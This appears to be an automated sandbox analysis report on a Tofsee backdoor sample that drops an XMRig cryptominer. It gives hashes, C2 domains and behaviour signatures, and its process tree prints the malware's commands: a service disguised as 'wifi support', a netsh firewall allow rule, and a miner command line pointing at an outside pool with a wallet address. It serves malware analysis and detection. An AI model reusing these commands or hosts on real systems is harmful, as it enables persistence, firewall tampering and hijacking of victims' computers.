Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2022 17:32

General

  • Target

    file.exe

  • Size

    303KB

  • MD5

    9d7c55bebffc368b36387a730bca3591

  • SHA1

    32499cd446ef5d6e89f9b4a6c03227132afd1fde

  • SHA256

    6ade32487b2109f96484539acb27c74e03f7ec48f14075e6c7618547fa2c4773

  • SHA512

    da862b30ffb028ae301fabdde4569fcca3b9551b4ba245c2f0e5a342efe4db4c1549cc45e48360fe8704f3bb8439c063854eb6b6e1d773c4f38d664836fc0527

  • SSDEEP

    6144:CLlP8ArUNJD0QQtrWTvXz+3ng+E49HwchLP3i:CN8A6JD0QQtrW/wnVZH9P3

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tdqgpvkr\
      2⤵
        PID:4344
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dtzglxbq.exe" C:\Windows\SysWOW64\tdqgpvkr\
        2⤵
          PID:3904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tdqgpvkr binPath= "C:\Windows\SysWOW64\tdqgpvkr\dtzglxbq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tdqgpvkr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tdqgpvkr
          2⤵
          • Launches sc.exe
          PID:4304
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1176 -s 1116
          2⤵
          • Program crash
          PID:2324
      • C:\Windows\SysWOW64\tdqgpvkr\dtzglxbq.exe
        C:\Windows\SysWOW64\tdqgpvkr\dtzglxbq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4392
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4152
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 520
          2⤵
          • Program crash
          PID:3088
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1176 -ip 1176
        1⤵
          PID:2088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4392 -ip 4392
          1⤵
            PID:1168

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dtzglxbq.exe

            Filesize

            11.1MB

            MD5

            ad529d76e7f34376cc340817a6dbf9ce

            SHA1

            d2f671c03fc6f01d7b67659b5597680744267135

            SHA256

            60d0a1e0a2b992d690fce3dfe91998106f30772ab6ad6593dfe2760a1e9a57fd

            SHA512

            d13f52d1d499604653baf25b2dd179a257c3ed8038105ca2d3d462e4c44595d540b3e49f8ab742d8b84914bc22ffd2a83450e961c0ddfc8e60578ecc7fca9c42

          • C:\Windows\SysWOW64\tdqgpvkr\dtzglxbq.exe

            Filesize

            11.1MB

            MD5

            ad529d76e7f34376cc340817a6dbf9ce

            SHA1

            d2f671c03fc6f01d7b67659b5597680744267135

            SHA256

            60d0a1e0a2b992d690fce3dfe91998106f30772ab6ad6593dfe2760a1e9a57fd

            SHA512

            d13f52d1d499604653baf25b2dd179a257c3ed8038105ca2d3d462e4c44595d540b3e49f8ab742d8b84914bc22ffd2a83450e961c0ddfc8e60578ecc7fca9c42

          • memory/1176-143-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/1176-134-0x00000000005E0000-0x00000000005F3000-memory.dmp

            Filesize

            76KB

          • memory/1176-133-0x00000000004F9000-0x000000000050E000-memory.dmp

            Filesize

            84KB

          • memory/1176-135-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/4152-171-0x0000000000650000-0x0000000000741000-memory.dmp

            Filesize

            964KB

          • memory/4152-176-0x0000000000650000-0x0000000000741000-memory.dmp

            Filesize

            964KB

          • memory/4392-148-0x00000000004A4000-0x00000000004BA000-memory.dmp

            Filesize

            88KB

          • memory/4392-149-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/5008-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/5008-155-0x0000000000DE0000-0x0000000000DE6000-memory.dmp

            Filesize

            24KB

          • memory/5008-158-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/5008-161-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

            Filesize

            20KB

          • memory/5008-164-0x0000000007A40000-0x0000000007E4B000-memory.dmp

            Filesize

            4.0MB

          • memory/5008-167-0x0000000002FE0000-0x0000000002FE7000-memory.dmp

            Filesize

            28KB

          • memory/5008-151-0x0000000000C10000-0x0000000000C25000-memory.dmp

            Filesize

            84KB

          • memory/5008-150-0x0000000000C10000-0x0000000000C25000-memory.dmp

            Filesize

            84KB

          • memory/5008-145-0x0000000000C10000-0x0000000000C25000-memory.dmp

            Filesize

            84KB